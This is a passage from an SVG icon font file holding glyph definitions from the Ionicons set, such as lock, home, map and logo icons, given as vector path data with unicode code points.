c-11 0 -21 3 -29 9c-1 1 0 3 0 4v0c0 1 1 1 2 1c13 1 24 12 23 26c-1 12 -11 22 -23 23c-4 0 -7 -1 -10 -2s-5 2 -4 4c8 16 23 26 41 26h178c11 0 22 -4 30 -11c5 -4 8 -9 11 -15c1 -2 0 -5 -3 -4c-4 2 -8 2 -12 2c-12 -1 -22 -11 -23 -23zM279 343c-2 8 -9 15 -17 17
c-16 4 -31 -10 -27 -26c2 -8 9 -15 17 -17c16 -4 31 10 27 26z" />
    <glyph glyph-name="ion-ios-reorder" unicode="&#xf1fd;" horiz-adv-x="352" 
d="M0 128v16h352v-16h-352zM0 184v16h352v-16h-352zM0 240v16h352v-16h-352z" />
    <glyph glyph-name="ion-ios-volume-high" unicode="&#xf11c;" horiz-adv-x="383" 
d="M151 302c6 -3 9 -8 9 -14v-192c0 -6 -3 -11 -9 -14c-2 -1 -5 -2 -7 -2c-4 0 -7 2 -10 4l-65 52h-53c-9 0 -16 7 -16 16v80c0 9 7 16 16 16h53l65 53c3 2 6 3 10 3c2 0 5 -1 7 -2zM383 192v0v0c0 -59 -23 -114 -65 -156c-2 -2 -6 -4 -9 -4s-6 2 -8 4c-5 5 -5 12 0 17
c38 37 58 86 58 139v0v0c0 53 -20 102 -58 139c-5 5 -5 12 0 17s12 5 17 0c42 -42 65 -97 65 -156zM320 192v0c0 -44 -16 -84 -46 -115c-2 -2 -6 -4 -9 -4s-6 2 -8 4c-5 5 -6 12 -1 17c26 26 40 61 40 98v0v0c0 37 -14 72 -40 98c-5 5 -4 12 1 17s12 5 17 0
c30 -31 46 -71 46 -115v0zM223 266c19 -20 30 -46 30 -74v0v0c0 -28 -11 -54 -30 -74c-2 -2 -6 -3 -9 -3s-6 1 -8 3c-5 5 -5 12 0 17c15 15 23 36 23 57v0v0c0 22 -8 42 -23 57c-5 5 -5 12 0 17s12 5 17 0z" />
    <glyph glyph-name="ion-ios-contrast" unicode="&#xf163;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM335 65c34 34 53 79 53 127s-19 93 -53 127s-79 53 -127 53v-360c48 0 93 19 127 53z" />
    <glyph glyph-name="ion-ios-today" unicode="&#xf14f;" horiz-adv-x="384" 
d="M324 416c33 0 60 -27 60 -60v-328c0 -33 -27 -60 -60 -60h-264c-33 0 -60 27 -60 60v328c0 33 27 60 60 60h264zM356 28v328c0 18 -14 32 -32 32h-264c-18 0 -32 -14 -32 -32v-328c0 -18 14 -32 32 -32h264c18 0 32 14 32 32zM296 272c13 0 24 -11 24 -24v-192
c0 -13 -11 -24 -24 -24h-208c-13 0 -24 11 -24 24v192c0 13 11 24 24 24h208zM78 324c-8 0 -14 6 -14 14s6 14 14 14h100c8 0 14 -6 14 -14s-6 -14 -14 -14h-100z" />
    <glyph glyph-name="ion-ios-mic-off" unicode="&#xf45f;" horiz-adv-x="256" 
d="M242 -16c-5 0 -9 3 -12 7l-228 388c-4 7 -2 15 5 19s16 2 20 -5l227 -388c4 -7 2 -15 -5 -19c-2 -1 -5 -2 -7 -2zM192 176c0 -9 -2 -17 -5 -25l-120 205c8 26 33 44 61 44v0c35 0 64 -29 64 -64v-160zM64 176v65l75 -128c-4 -1 -7 -1 -11 -1v0c-35 0 -64 29 -64 64z
M238 173c0 -26 -9 -49 -24 -68l-15 26c7 12 11 27 11 42v69c0 8 6 14 14 14s14 -6 14 -14v-69zM128 91c8 0 15 1 22 3l15 -25c-7 -3 -15 -4 -23 -5v-52h36c8 0 14 -6 14 -14s-6 -14 -14 -14h-100c-8 0 -14 6 -14 14s6 14 14 14h36v52c-54 7 -96 53 -96 109v69
c0 8 6 14 14 14s14 -6 14 -14v-69c0 -45 37 -82 82 -82z" />
    <glyph glyph-name="ion-ios-medkit" unicode="&#xf45e;" 
d="M384 320c18 0 32 -14 32 -32v-256c0 -18 -14 -32 -32 -32h-352c-18 0 -32 14 -32 32v256c0 18 14 32 32 32h84v32c0 18 14 32 32 32h120c18 0 32 -14 32 -32v-32h84zM144 348v-28h128v28c0 4 -4 8 -8 8h-112c-4 0 -8 -4 -8 -8zM272 144c9 0 16 7 16 16s-7 16 -16 16h-32
h-16v16v32c0 9 -7 16 -16 16s-16 -7 -16 -16v-32v-16h-16h-32c-9 0 -16 -7 -16 -16s7 -16 16 -16h32h16v-16v-32c0 -9 7 -16 16 -16s16 7 16 16v32v16h16h32z" />
    <glyph glyph-name="ion-ios-arrow-round-down" unicode="&#xf118;" horiz-adv-x="192" 
d="M188 152c5 -5 5 -13 0 -18l-83 -82c-2 -2 -6 -4 -9 -4c-2 0 -3 0 -5 1s-3 2 -4 3v0l-83 82c-5 5 -5 13 0 18s13 6 18 1l61 -61v231c0 7 6 13 13 13s13 -6 13 -13v-231l61 60c5 5 13 5 18 0z" />
    <glyph glyph-name="ion-md-link" unicode="&#xf22e;" horiz-adv-x="448" 
d="M43 192c0 -38 31 -69 69 -69h88v-43h-88c-62 0 -112 50 -112 112s50 112 112 112h88v-43h-88c-38 0 -69 -31 -69 -69zM128 170v44h192v-44h-192zM336 304c62 0 112 -50 112 -112s-50 -112 -112 -112h-88v43h88c38 0 69 31 69 69s-31 69 -69 69h-88v43h88z" />
    <glyph glyph-name="ion-ios-chatbubbles" unicode="&#xf146;" 
d="M383 127l16 -58s1 -2 1 -3c0 -4 -4 -8 -8 -8c-2 0 -4 1 -4 1l-57 21c-3 1 -6 2 -10 2c-3 0 -6 -1 -9 -2s-15 -5 -26 -8s-32 -8 -47 -8c-96 0 -171 77 -171 169c0 12 2 23 4 34c16 76 86 133 170 133c96 0 174 -75 174 -167c0 -33 -11 -64 -28 -90c-1 -1 -1 -2 -2 -3
c-2 -4 -3 -9 -3 -13zM270 56c4 1 9 2 13 3c-4 -5 -7 -9 -7 -9c-30 -35 -73 -56 -120 -56c-21 0 -42 5 -61 12c-4 2 -6 2 -6 2c-2 0 -4 0 -6 -1l-56 -22c-1 0 -2 -1 -3 -1c-2 0 -3 1 -5 2c-2 2 -4 5 -3 8c0 0 12 60 12 62s-1 4 -3 8c-16 24 -25 53 -25 82c0 42 19 82 52 111
l8 7c-1 -4 -3 -9 -4 -13s-1 -9 -2 -13c-1 -6 -2 -14 -2 -21c0 -92 75 -169 171 -169c10 0 24 2 34 4c5 1 9 3 13 4z" />
    <glyph glyph-name="ion-ios-beaker" unicode="&#xf124;" horiz-adv-x="384" 
d="M381 400c2 0 3 -1 3 -2s-2 -4 -3 -6s-12 -15 -14 -33v-310c0 -35 -28 -65 -63 -65h-208c-35 0 -64 29 -64 64v276c0 32 -2 32 -32 36c0 12 10 40 64 40h270h47zM48 371c12 -13 12 -29 12 -47v-36h279v0v71v3c0 3 1 6 2 10h-7h-270c-4 0 -10 0 -16 -1v0z" />
    <glyph glyph-name="ion-ios-git-branch" unicode="&#xf183;" horiz-adv-x="332" 
d="M262 352c39 0 70 -31 70 -70c0 -34 -24 -63 -56 -69c-1 -28 -14 -46 -38 -64c-25 -19 -56 -25 -78 -29c-27 -5 -42 -14 -51 -24c19 -13 31 -35 31 -58c0 -39 -31 -70 -70 -70s-70 31 -70 70c0 17 6 33 17 46c10 11 24 19 38 22v172c-15 3 -28 11 -38 22
c-11 13 -17 29 -17 46c0 39 31 70 70 70s70 -31 70 -70c0 -17 -6 -34 -18 -47c-10 -11 -24 -19 -39 -22v-169c10 13 32 33 73 40c19 3 45 7 65 23c17 13 26 24 27 43c-32 7 -56 35 -56 68c0 39 31 70 70 70zM28 346c0 -23 19 -42 42 -42s42 19 42 42s-19 42 -42 42
s-42 -19 -42 -42zM112 38c0 23 -19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42s42 19 42 42zM262 240c23 0 42 19 42 42s-19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42z" />
    <glyph glyph-name="ion-logo-google" unicode="&#xf23a;" horiz-adv-x="408" 
d="M406 224c0 -1 2 -14 2 -37c0 -54 -18 -106 -54 -144s-87 -59 -141 -59c-59 0 -116 22 -156 64c-38 39 -57 92 -57 144s20 108 59 147c40 39 94 61 150 61v0c73 0 120 -38 137 -53l-58 -58c-10 9 -38 30 -77 30c-34 0 -68 -12 -90 -35c-23 -23 -39 -58 -39 -92
c0 -35 15 -69 39 -92c23 -22 58 -36 91 -36c46 0 102 30 114 87h-116v82h194z" />
    <glyph glyph-name="ion-ios-recording" unicode="&#xf497;" horiz-adv-x="480" 
d="M370 302c61 0 110 -49 110 -110s-49 -110 -110 -110h-260c-61 0 -110 49 -110 110s49 110 110 110v0v0c61 0 110 -49 110 -110c0 -30 -12 -58 -32 -78h105c-20 20 -33 48 -33 78c0 61 49 110 110 110v0v0zM448 192c0 43 -35 78 -78 78s-78 -35 -78 -78s35 -78 78 -78
s78 35 78 78zM110 114c43 0 78 35 78 78s-35 78 -78 78s-78 -35 -78 -78s35 -78 78 -78z" />
    <glyph glyph-name="ion-md-checkmark-circle" unicode="&#xf2bb;" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM165 81l192 192l-29 30l-163 -162l-76 77l-30 -30z" />
    <glyph glyph-name="ion-ios-checkbox-outline" unicode="&#xf147;" horiz-adv-x="384" 
d="M352 384c18 0 32 -14 32 -32v-320c0 -18 -14 -32 -32 -32h-320c-18 0 -32 14 -32 32v320c0 18 14 32 32 32h320zM356 36v312c0 4 -4 8 -8 8h-312c-4 0 -8 -4 -8 -8v-312c0 -4 4 -8 8 -8h312c4 0 8 4 8 8zM300 255c2 -2 1 -4 0 -6l-134 -134v0c-2 -2 -7 -5 -12 -5
c-4 0 -7 1 -11 5l-56 56c-2 2 -2 4 0 6l17 18c1 1 2 1 3 1s2 0 3 -1l44 -45l122 123c1 1 2 1 3 1v0c1 0 2 0 3 -1z" />
    <glyph glyph-name="ion-ios-arrow-round-up" unicode="&#xf11a;" horiz-adv-x="192" 
d="M188 232c-5 -5 -13 -5 -18 0l-61 60v-231c0 -7 -6 -13 -13 -13s-13 6 -13 13v231l-61 -61c-5 -5 -13 -4 -18 1s-5 13 0 18l83 82v0c1 1 2 2 4 3s3 1 5 1c3 0 7 -2 9 -4l83 -82c5 -5 5 -13 0 -18z" />
    <glyph glyph-name="ion-ios-home" unicode="&#xf448;" 
d="M211 344l156 -125c1 -1 1 -2 1 -3v-230c0 -1 -1 -2 -2 -2h-108c-1 0 -2 1 -2 2v140c0 1 -1 2 -2 2h-92c-1 0 -2 -1 -2 -2v-140c0 -1 -1 -2 -2 -2h-108c-1 0 -2 1 -2 2v230c0 1 1 2 2 3l156 125c2 1 3 1 5 0zM411 244c3 -2 5 -6 5 -10s-1 -8 -4 -11s-6 -4 -10 -4
c-3 0 -7 1 -9 3l-184 147l-1 1l-1 -1l-184 -148c-2 -2 -6 -3 -9 -3c-4 0 -7 1 -10 4s-4 7 -4 11s2 8 5 10l43 35v92c0 1 1 2 2 2h60c1 0 2 -1 2 -2v-42l82 67c4 3 9 5 14 5s10 -2 14 -5z" />
    <glyph glyph-name="ion-ios-paper" unicode="&#xf472;" 
d="M76 368c0 18 12 30 30 30l278 2c18 0 32 -14 32 -32v-353c0 -17 -14 -31 -31 -31h-353c-18 0 -32 14 -32 32v288c0 18 14 32 32 32h16v-290c0 -8 6 -14 14 -14v0c8 0 14 6 14 14v322zM142 336c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h84c8 0 14 6 14 14v0
c0 8 -6 14 -14 14h-84zM142 176c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h148c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-148zM338 68c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-196c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h196zM338 228c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-196
c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h196z" />
    <glyph glyph-name="ion-md-cafe" unicode="&#xf2a9;" 
d="M0 0v48h368v-48h-368zM376 384c22 0 40 -18 40 -40v-80c0 -22 -18 -40 -40 -40h-40v-64c0 -44 -36 -80 -80 -80h-144c-44 0 -80 36 -80 80v224h293h11h40zM376 272v64h-40v-64h40z" />
    <glyph glyph-name="ion-md-medical" unicode="&#xf327;" horiz-adv-x="408" 
d="M300 192l108 -62l-48 -84l-108 63v-125h-96v125l-108 -63l-48 84l108 62l-108 62l48 84l108 -63v125h96v-125l108 63l48 -84z" />
    <glyph glyph-name="ion-ios-log-in" unicode="&#xf1b1;" horiz-adv-x="414" 
d="M368 368c25 0 46 -21 46 -46v-260c0 -25 -21 -46 -46 -46h-280c-25 0 -46 21 -46 46c0 8 6 14 14 14s14 -6 14 -14c0 -10 8 -18 18 -18h280c10 0 18 8 18 18v260c0 10 -8 18 -18 18h-280c-10 0 -18 -8 -18 -18c0 -8 -6 -14 -14 -14s-14 6 -14 14c0 25 21 46 46 46h280z
M175 114l64 64h-225c-8 0 -14 6 -14 14s6 14 14 14h224l-65 64c-6 6 -6 14 0 20c3 3 6 4 10 4s7 -1 10 -4l84 -84c4 -4 7 -10 7 -15s-3 -11 -7 -15l-82 -82c-3 -3 -6 -4 -10 -4s-7 2 -10 4v0c-5 6 -5 15 0 20z" />
    <glyph glyph-name="ion-ios-return-right" unicode="&#xf203;" horiz-adv-x="384" 
d="M378 183c4 -4 6 -10 6 -16s-3 -11 -7 -15l-57 -58c-3 -3 -6 -4 -10 -4s-7 2 -10 4v0c-3 3 -4 6 -4 10s1 7 4 10l40 40h-262c-21 0 -40 8 -55 23s-23 34 -23 55v48c0 8 6 14 14 14s14 -6 14 -14v-48c0 -13 5 -25 15 -35s22 -15 35 -15h261l-41 40v0c-3 3 -4 6 -4 10
s1 7 4 10s6 4 10 4s7 -1 10 -4z" />
    <glyph glyph-name="ion-logo-bitbucket" unicode="&#xf193;" 
d="M405 384c7 -1 12 -8 11 -16l-18 -113h-256l22 -127h88l16 96h125l-34 -212c-1 -7 -6 -12 -13 -12h-271c-4 0 -9 1 -12 4v0c-3 3 -5 8 -6 12l-57 352v2c0 8 7 14 14 14h389h2z" />
    <glyph glyph-name="ion-ios-man" unicode="&#xf1bb;" horiz-adv-x="228" 
d="M114 341v0v0c-25 0 -46 21 -46 46s21 45 46 45s45 -20 45 -45c0 -12 -4 -24 -13 -32c-8 -9 -20 -14 -32 -14zM79 -48c-14 0 -27 10 -27 30l1 278h-10v-105c0 -9 -3 -15 -6 -18c-4 -4 -9 -7 -15 -7s-12 3 -16 7c-3 3 -6 9 -6 18v122c0 14 5 27 14 38c10 12 24 18 39 18
h122c15 0 29 -6 39 -18c9 -11 14 -24 14 -38v-122c0 -7 -2 -14 -7 -18c-4 -4 -9 -7 -15 -7s-12 3 -16 7c-5 4 -6 11 -6 18v105h-9v-278c0 -20 -14 -30 -28 -30c-13 0 -26 10 -27 30v0v141h-12v-141v0c-1 -20 -15 -30 -29 -30z" />
    <glyph glyph-name="ion-md-lock" unicode="&#xf31d;" horiz-adv-x="320" 
d="M280 262c22 0 40 -18 40 -40v-200c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v200c0 22 18 40 40 40h20v40c0 55 45 100 100 100s100 -45 100 -100v-40h20zM160 80c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40zM222 262v40c0 34 -28 62 -62 62
s-62 -28 -62 -62v-40h124z" />
    <glyph glyph-name="ion-ios-flask" unicode="&#xf431;" horiz-adv-x="385" 
d="M374 94c8 -16 11 -32 11 -46c-1 -36 -27 -64 -63 -64h-257c-36 0 -64 28 -65 64c0 14 4 30 12 46l116 194v2v78c0 2 -2 4 -4 4c-7 0 -12 5 -12 12v4c0 7 5 12 12 12h137c7 0 12 -5 12 -12v-4c0 -7 -5 -12 -12 -12c-2 0 -4 -2 -4 -4v-78v-2zM98 160h189c6 0 10 7 7 12
l-61 102c-3 5 -4 10 -4 16v78v4h-73v-4v-78c0 -6 -1 -11 -4 -16l-61 -102c-3 -5 1 -12 7 -12z" />
    <glyph glyph-name="ion-md-remove-circle" unicode="&#xf367;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM315 171v42h-214v-42h214z" />
    <glyph glyph-name="ion-md-code-download" unicode="&#xf2cc;" horiz-adv-x="448" 
d="M203 288h42v-126l45 45l30 -31l-96 -96l-96 96l30 30l45 -44v126zM158 94l-30 -30l-128 128l128 128l30 -30l-98 -98zM290 94l98 98l-98 98l30 30l128 -128l-128 -128z" />
    <glyph glyph-name="ion-ios-wine" unicode="&#xf26f;" horiz-adv-x="208" 
d="M177 397c9 -25 31 -87 31 -125v-4v-1c0 -19 0 -45 -28 -74c-7 -7 -15 -13 -23 -20c-19 -15 -39 -31 -39 -50v-115c0 -1 1 -2 2 -2h57c8 0 15 -6 15 -14s-7 -14 -15 -14h-146c-8 0 -15 6 -15 14s7 14 15 14h57c1 0 2 1 2 2v115c0 19 -20 35 -39 50c-8 7 -17 13 -23 20
c-28 29 -28 55 -28 74v1v4c0 38 22 100 31 125c2 6 7 9 13 9h120c6 0 11 -3 13 -9zM176 295v1c-5 26 -15 60 -22 81c0 1 -1 1 -2 1h-96c-1 0 -2 0 -2 -1c-7 -21 -17 -55 -22 -81v-1s1 -1 2 -1h140c1 0 2 1 2 1z" />
    <glyph glyph-name="ion-ios-expand" unicode="&#xf178;" horiz-adv-x="384" 
d="M48 356l117 -117c5 -5 5 -15 0 -20c-3 -3 -6 -4 -10 -4s-7 1 -10 4l-117 117v-78c0 -8 -6 -14 -14 -14v0c-8 0 -14 6 -14 14v112c0 8 6 14 14 14h112c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-78zM370 384c8 0 14 -6 14 -14v-112c0 -8 -6 -14 -14 -14v0
c-8 0 -14 6 -14 14v78l-117 -117c-3 -3 -6 -4 -10 -4s-7 1 -10 4c-5 5 -5 15 0 20l117 117h-78c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h112zM155 169c4 0 7 -1 10 -4c5 -5 5 -15 0 -20l-117 -117h78c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-112c-8 0 -14 6 -14 14v112
c0 8 6 14 14 14v0c8 0 14 -6 14 -14v-78l117 117c3 3 6 4 10 4zM370 140c8 0 14 -6 14 -14v-112c0 -8 -6 -14 -14 -14h-112c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h78l-117 117c-5 5 -5 15 0 20c3 3 6 4 10 4s7 -1 10 -4l117 -117v78c0 8 6 14 14 14v0z" />
    <glyph glyph-name="ion-ios-list" unicode="&#xf454;" horiz-adv-x="384" 
d="M0 192c0 15 13 28 28 28s28 -13 28 -28s-13 -28 -28 -28s-28 13 -28 28zM0 316c0 15 13 28 28 28s28 -13 28 -28s-13 -28 -28 -28s-28 13 -28 28zM0 68c0 15 13 28 28 28s28 -13 28 -28s-13 -28 -28 -28s-28 13 -28 28zM368 208c9 0 16 -7 16 -16s-7 -16 -16 -16h-240
c-9 0 -16 7 -16 16s7 16 16 16h240zM368 84c9 0 16 -7 16 -16s-7 -16 -16 -16h-240c-9 0 -16 7 -16 16s7 16 16 16h240zM128 300c-9 0 -16 7 -16 16s7 16 16 16h240c9 0 16 -7 16 -16s-7 -16 -16 -16h-240z" />
    <glyph glyph-name="ion-md-keypad" unicode="&#xf317;" horiz-adv-x="320" 
d="M160 50c22 0 40 -19 40 -41s-18 -41 -40 -41s-40 19 -40 41s18 41 40 41zM40 416c22 0 41 -19 41 -41s-19 -40 -41 -40s-40 18 -40 40s18 41 40 41zM40 294c22 0 41 -19 41 -41s-19 -41 -41 -41s-40 19 -40 41s18 41 40 41zM40 172c22 0 41 -19 41 -41s-19 -41 -41 -41
s-40 19 -40 41s18 41 40 41zM280 334c-22 0 -41 19 -41 41s19 41 41 41s40 -19 40 -41s-18 -41 -40 -41zM160 172c22 0 40 -19 40 -41s-18 -41 -40 -41s-40 19 -40 41s18 41 40 41zM280 172c22 0 40 -19 40 -41s-18 -41 -40 -41s-41 19 -41 41s19 41 41 41zM280 294
c22 0 40 -19 40 -41s-18 -41 -40 -41s-41 19 -41 41s19 41 41 41zM160 294c22 0 40 -19 40 -41s-18 -41 -40 -41s-40 19 -40 41s18 41 40 41zM160 416c22 0 40 -19 40 -41s-18 -40 -40 -40s-40 18 -40 40s18 41 40 41z" />
    <glyph glyph-name="ion-logo-octocat" unicode="&#xf243;" horiz-adv-x="448" 
d="M146 160c8 0 16 -3 22 -12c6 -8 10 -20 10 -32s-4 -23 -10 -31s-14 -13 -22 -13c-9 0 -17 5 -23 13s-9 19 -9 31s3 24 9 32c6 9 14 12 23 12zM303 160c9 0 16 -3 22 -12c6 -8 9 -20 9 -32s-3 -23 -9 -31s-14 -13 -22 -13c-9 0 -17 5 -23 13s-10 19 -10 31s4 24 10 32
c6 9 14 12 23 12zM414 276c24 -27 34 -66 34 -96c0 -24 0 -46 -6 -65s-13 -35 -21 -47c-9 -12 -20 -23 -32 -32c-13 -9 -24 -17 -34 -21s-22 -7 -36 -9c-13 -2 -24 -4 -31 -4c0 0 -28 -2 -64 -2s-64 2 -64 2c-7 0 -18 2 -31 4c-14 2 -26 5 -36 9s-22 12 -34 21
c-13 9 -23 20 -32 32c-8 12 -15 28 -21 47c-5 19 -6 41 -6 65c0 31 10 70 34 96c0 0 -2 14 0 39s7 48 16 69c30 -3 67 -20 112 -51c15 4 36 6 62 6c28 0 48 -2 62 -6c20 14 40 25 58 33c19 8 33 13 41 15s13 3 13 3c9 -21 14 -44 16 -69s0 -39 0 -39v0zM348 42
c28 13 42 40 42 81c0 24 -8 43 -26 59c-9 8 -20 13 -32 15s-31 1 -56 -1s-40 -4 -52 -4s-25 2 -42 3s-30 3 -39 3c-10 0 -20 1 -31 -2s-21 -8 -28 -14c-17 -15 -25 -35 -25 -59c0 -41 13 -68 41 -81c27 -13 69 -18 123 -18h2c54 0 95 5 123 18z" />
    <glyph glyph-name="ion-ios-planet" unicode="&#xf1eb;" 
d="M415 96c2 -6 2 -12 -1 -17c-3 -6 -11 -9 -22 -9c-37 0 -120 32 -208 81c-54 30 -103 64 -137 92c-38 32 -53 54 -45 67c4 7 11 10 23 10c16 0 48 -10 83 -24c3 -1 3 -5 1 -7l-11 -10c-1 -1 -2 -2 -4 -1c-21 8 -46 16 -57 19c-4 1 -6 -3 -4 -6c10 -13 25 -24 39 -35
c7 -6 15 -11 23 -17c8 21 23 39 41 52c21 15 44 23 70 23c32 0 63 -11 86 -33c24 -23 37 -54 37 -87c0 -26 -9 -51 -25 -72c10 -4 19 -8 28 -11c15 -6 34 -11 44 -13c3 -1 6 3 4 6c-6 8 -26 24 -42 36c-2 1 -3 4 -2 6l5 13c1 3 4 4 7 2c24 -18 45 -35 55 -47
c6 -7 10 -12 12 -18zM264 94c2 -1 4 -3 4 -5s-1 -4 -3 -5c-20 -13 -42 -20 -66 -20c-32 0 -63 12 -86 35s-36 53 -36 85c0 1 1 3 1 4c0 2 1 4 3 5c1 0 2 1 3 1s2 -1 3 -2c25 -17 54 -36 84 -53c33 -19 64 -32 93 -45z" />
    <glyph glyph-name="ion-logo-usd" unicode="&#xf2b1;" horiz-adv-x="320" 
d="M315 145c3 -10 5 -19 5 -29c0 -21 -5 -38 -14 -53s-20 -26 -35 -35s-31 -17 -50 -21c-10 -2 -19 -3 -29 -4v-35h-64v35c-9 1 -19 4 -28 6c-20 5 -36 12 -51 23s-26 24 -35 41c-8 16 -13 34 -14 55h69c0 -12 2 -24 7 -33c5 -10 12 -17 21 -23s20 -11 31 -14v120
c-8 2 -18 4 -27 6c-17 4 -30 9 -41 16s-20 15 -27 23s-11 17 -14 26s-4 18 -4 28c0 18 4 34 12 48s19 25 33 34s29 16 46 20c7 2 15 3 22 4v33h64v-33c9 -1 16 -4 24 -6c18 -5 34 -12 48 -22s25 -22 33 -37c7 -13 11 -28 12 -46h-69c-3 21 -12 37 -26 46c-7 4 -13 8 -22 10
v-106c9 -2 16 -4 25 -6c12 -3 22 -6 27 -7c13 -4 23 -9 33 -15c10 -7 18 -14 24 -22s11 -17 14 -27zM128 238v92c-7 -2 -15 -4 -21 -7c-7 -4 -12 -9 -17 -15s-7 -14 -7 -23c0 -13 4 -24 13 -31c8 -7 20 -12 32 -16zM247 89c3 7 4 13 4 20c0 14 -3 24 -10 31s-15 11 -23 14
s-16 5 -26 8v-107c6 1 10 2 14 3c11 3 20 8 27 13s11 11 14 18z" />
    <glyph glyph-name="ion-ios-bulb" unicode="&#xf138;" horiz-adv-x="296" 
d="M296 259c0 -31 -13 -56 -30 -80v0c-11 -15 -22 -18 -32 -35c-14 -24 -17 -41 -18 -56c0 -8 -8 -15 -16 -15h-10c-2 0 -4 2 -4 4v94c0 5 1 11 3 15l22 42c3 7 -1 15 -9 15v0c-4 0 -7 -3 -9 -6l-26 -51c-2 -4 -3 -9 -3 -14v-95c0 -2 -2 -4 -4 -4h-24c-2 0 -4 2 -4 4v95
c0 5 -1 10 -3 14l-26 51c-2 4 -5 6 -9 6v0c-8 0 -13 -8 -9 -15l21 -42c2 -4 3 -9 3 -14v-95c0 -2 -2 -4 -4 -4h-9c-8 0 -16 6 -16 15c-1 15 -4 31 -19 56c-10 17 -20 20 -31 35v0c-17 24 -30 49 -30 80c0 78 70 141 148 141s148 -63 148 -141zM130 -16c-8 0 -14 6 -14 14v0
c0 8 6 14 14 14h36c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-36zM110 28c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h76c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-76z" />
    <glyph glyph-name="ion-md-map" unicode="&#xf325;" horiz-adv-x="384" 
d="M373 384c6 0 11 -5 11 -11v-322c0 -5 -3 -9 -7 -10l-121 -41l-128 45s-105 -41 -108 -42s-7 -3 -9 -3c-6 0 -11 5 -11 11v322c0 5 3 9 7 10l121 41l128 -45s103 40 108 42s7 3 9 3zM256 43v254l-128 44v-254z" />
    <glyph glyph-name="ion-md-time" unicode="&#xf394;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166zM218 296v-109l94 -56l-16 -25l-109 65v125h31z" />
    <glyph glyph-name="ion-logo-ionitron" unicode="&#xf151;" horiz-adv-x="426" 
d="M425 179c3 -34 -4 -63 -19 -65h-7c-18 -79 -87 -141 -172 -146c-71 -4 -134 33 -169 89l-16 -3c-17 -2 -36 26 -41 64s5 71 22 73l12 1c17 80 86 142 172 147c77 4 145 -38 177 -103c11 -22 16 -46 17 -72c4 24 -2 57 -8 72c21 2 29 -23 32 -57zM47 184
c9 -13 18 -34 21 -58c3 -25 1 -46 -5 -61c9 10 17 36 13 64c-4 27 -18 47 -29 55zM231 68c8 0 15 8 15 16s-9 14 -17 14c-9 0 -14 -8 -14 -16s8 -14 16 -14zM312 72c8 0 15 9 15 17s-9 14 -17 14c-9 0 -14 -8 -14 -16s8 -15 16 -15zM123 378h-1c-1 1 0 3 0 4c0 3 2 6 5 9
s8 6 14 9c1 0 1 1 2 1c1 1 3 1 4 1c4 6 9 12 17 14c7 1 14 0 19 -4h2h2c6 0 12 1 16 0c3 -1 6 -2 8 -3c1 0 2 1 3 1c3 0 6 -3 6 -6s-3 -6 -6 -6v-1c-1 -1 -1 -2 -2 -3s-3 -2 -4 -3s-2 -1 -3 -2l-8 -5h-1l1 2l6 3c1 1 3 2 4 3l3 3s1 2 2 3v0c-2 1 -5 3 -5 6c0 1 0 2 1 3
c-2 1 -4 1 -6 1h-11v0h-4h-1c-7 -1 -14 -2 -22 -4c-1 0 -2 -1 -3 -1c14 3 24 3 29 2c2 -3 3 -6 4 -10c2 -12 -3 -23 -14 -28l4 -24l-13 -2l-4 24c-12 0 -21 9 -23 21c-1 4 -1 7 0 10v0c-1 0 -2 -1 -3 -1c-4 -2 -8 -5 -11 -7c-3 -3 -5 -6 -5 -8v-2c0 0 0 -1 1 -1
c2 -2 5 -3 9 -4c3 -1 7 -1 11 -1h1l2 -1h-3c-4 0 -9 1 -12 1c-4 1 -7 0 -9 2c-1 1 -2 2 -2 3v0v1v0v0v0z" />
    <glyph glyph-name="ion-ios-grid" unicode="&#xf18c;" horiz-adv-x="384" 
d="M142 140c-1 0 -2 1 -2 2v100c0 1 1 2 2 2h100c1 0 2 -1 2 -2v-100c0 -1 -1 -2 -2 -2h-100zM0 352c0 18 14 32 32 32h320c18 0 32 -14 32 -32v-320c0 -18 -14 -32 -32 -32h-320c-18 0 -32 14 -32 32v320zM330 244c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-56c-1 0 -2 1 -2 2
v56c0 8 -6 14 -14 14v0c-8 0 -14 -6 -14 -14v-56c0 -1 -1 -2 -2 -2h-100c-1 0 -2 1 -2 2v56c0 8 -6 14 -14 14v0c-8 0 -14 -6 -14 -14v-56c0 -1 -1 -2 -2 -2h-56c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h56c1 0 2 -1 2 -2v-100c0 -1 -1 -2 -2 -2h-56c-8 0 -14 -6 -14 -14
v0c0 -8 6 -14 14 -14h56c1 0 2 -1 2 -2v-56c0 -8 6 -14 14 -14v0c8 0 14 6 14 14v56c0 1 1 2 2 2h100c1 0 2 -1 2 -2v-56c0 -8 6 -14 14 -14v0c8 0 14 6 14 14v56c0 1 1 2 2 2h56c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-56c-1 0 -2 1 -2 2v100c0 1 1 2 2 2h56z" />
    <glyph glyph-name="ion-logo-model-s" unicode="&#xf153;" horiz-adv-x="448" 
